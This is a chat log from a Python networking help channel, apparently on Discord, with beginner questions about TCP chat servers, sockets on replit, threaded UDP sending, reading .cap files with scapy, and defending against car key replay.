Hiya i have done a post in #help-pancakes im working on making a simple tcp chat server wondering if any networking genius would be free to help me thanks ๐Ÿ™‚

static inlet
daring elm
#

thanks i have had a good read but still kinda stuck with the exercise im on

static inlet
#

what part

daring elm
#

those are the requirements im able to send data but dealing with the json is where i am stuck

#

thats the requests being sent

static inlet
#

JSON is usually easy peasy, what part of "dealing with it" is the problem?

daring elm
#

im currently writing an event handler that the server will call to deal with the data thats being sent but sending it back is the part im kinda lost at

#

would u be free to hop into a help channel dont want to take over this room

static inlet
#

sure, we can hop

daring elm
fierce pivot
#

Hi !
I want to make a messager using only python.
I want to do it online, si i need a server. And there is the problem
I want to use a replit server, to be able to use it online. But, as i Saw, to use replit, i need to use Flask server.
But, i dont like Flask, i prefer use only sockets, but i think that ports are closed. Does someones know how to open ports, or just how to bind sockets online, with python sockets on replit.
Dm me for more infos.
Thanks a lot !!

ember ledge
#

oh wait thats node.js

#

not python

#

my bad.

narrow oak
#

you can probably just use the ports that flask uses, should not be much difference in creating a flask application or opening a socket connection

gloomy root
#

there is a massive diffrence between the two

#

flask is a HTTP framework, when you do app.run you're running the debug mode development web server

#

if you just open a socket connection it just opens a raw TCP connection

#

HTTP servers abstract away alot of low level handling you have to do

#

e.g. socket readiness, flow control, request / response cycles etc...

narrow oak
# gloomy root there is a *massive* diffrence between the two

yeah of course, but im talking in context. Flask internally opens a socket connection eventually, in order to be able to accept incoming connections. Which means that it should also be possible to open a socket connection if its possible to create a flask application, in replit

fierce pivot
fierce pivot
#

Well, i did with random ports, 5050, 8080...
I didnt tryed 80 if it is what u think

#

But with flask, u can bind and witch port u want no ?

cold nexus
#

hey guys! any tips for beginners like me?

cold void
#

what module I need to test a door, socket is enough?

balmy viper
#
def threadSender():
    print("[Info] Thread Sender started!")
    while True:
        for data in threadSends:
            threadSends.remove(data)

            soc.sendto(bytes(data,'utf-8'), (config["SERVER_IP"],config["SERVER_PORT"]))
            #print("[Info] Sent Packet!",len(data))

        time.sleep(.05)

Hey Everyone, I'm working on a sort of proof of concept thing that needs a server that can handle lots of requests which I have but the client code isn't actually fast enough to max out the server I've been working on this all day so my brain is kinda numb I know i want to just run the function threadSender on a few threads but for some reason I'm at a loss of what to do for the list because the function removes things i dont want them all send the same exact data to the server if someone could provide a suggestion that would be awsome

cold nexus
prisma cobalt
fierce pivot
fierce pivot
#

Use ipinfo api

hexed mango
#

Hi I want to Geo-Locate IP traffic using a python script. Any one having any experience?

tough gull
harsh ivy
#

Hi, I recently came across Juspay Hiring Challeneg on Dare2Compete. The winners will get an opportunity to bag full-time offer for up to INR 13-15 Lakhs per annum Hope it helps. https://dare2compete.com/o/juspay-hiring-challenge-think-big-with-functional-programming-juspay-169172?refId=JPDS

fierce pivot
cold void
#

so, if doesnt print nothing means that the port is open and I made a connection

#

well, for my understand

#

it will try to make the connection until it's not work, then it will print

cold void
#

the protocols?

#

it's not IP ---- Port?

cold nexus
fierce pivot
ashen vessel
#

does anyone know how to use concurrent

hidden fable
white aspen
soft light
#

Can someone help me out with some direction, I'm trying to read a .cap file and I have read that scapy can do this?

pure dome
#

Is there a way radio waves can be received with Python?

young cypress
soft light
#

How can I filter only for WPA when reading a .cap file with Scapy?

fierce pivot
#

Hey !
I've a project using scapy and I have a problem : at a certain point, some peoples (other computer using m'y file on the same network) will send me packets that i need to let pass (i juste capt, i'me not the dst) and I use sniff to get that packets. But, i need to let some pass, and lock some others. How to "destroy" some packets "sniffed" ?

#

Well, the first question should be "is it possible", but i know everything is possible ;)

spice thorn
#

Hi, I have made a socket connection between a server an a client. The problem is when the client loses power the connection is broken. When the power returns to the client, the server does not have a connection any more with client. How can is make this so connection between client en server is restored with same port ?

cold void
#

there is a lot more to networking than udp and tcp connections, I mean, it's too extensive to a person know everything but at least tcp and udp I should know?

#

and sockets and web services

#

because I heard of some guy that you can move a sofa in your house and there is no sofa at the point a because you moved to point b, but for computers you have two sofas because it makes a copy of every action

clear rock
soft light
#

Can someone please help with the following:

pkts = rdpcap(file.cap) #will read the cap file

If I do a for loop how do I isolate the WPA in the cap file

spice thorn
# clear rock make the client send some message like `"END"` if the client is ending the conne...

You are right, but for me the problem is that i need the server to connect automatically.
I have explained my problem poorly. So i'll try again.
I have a Wemos (esp8266) who acts as a client. The only thing the client does is sending data to a server. Nothing else. Then I have a server. This server is listening only to this one client. The only thing the server does is receiving data en write this to a log file.
The problem now is that the Wemos (=client) sometimes looses power. So socket connection with server is lost. My server program waits to receive new data. When power to the Wemos is restored it reconnects automatically to the server and continues to send data without errors. But the server is not receiving anything any more. It just waits for new data.
Below you can see my code for server and client.

ember ledge
#

I'm 13yrs old, I know a lot about Python and even socket.
And I'd really like to make some money.

ember ledge
#

i have a question related to networking/packets/cybersec
lets say that i own a car and i use my wireless key to open my car

key -> send data to car -> car -> open doors

ive heard people could grab the radio frequency (packets) and copy it and use it to unlock my car

how could someone defend themselves from this?
i dont know how to explain it a little better since im dumb

hollow topaz
ember ledge
#

the world around u is unsecured

#

very unsecured

#

default passwords
no firewalls
no nothing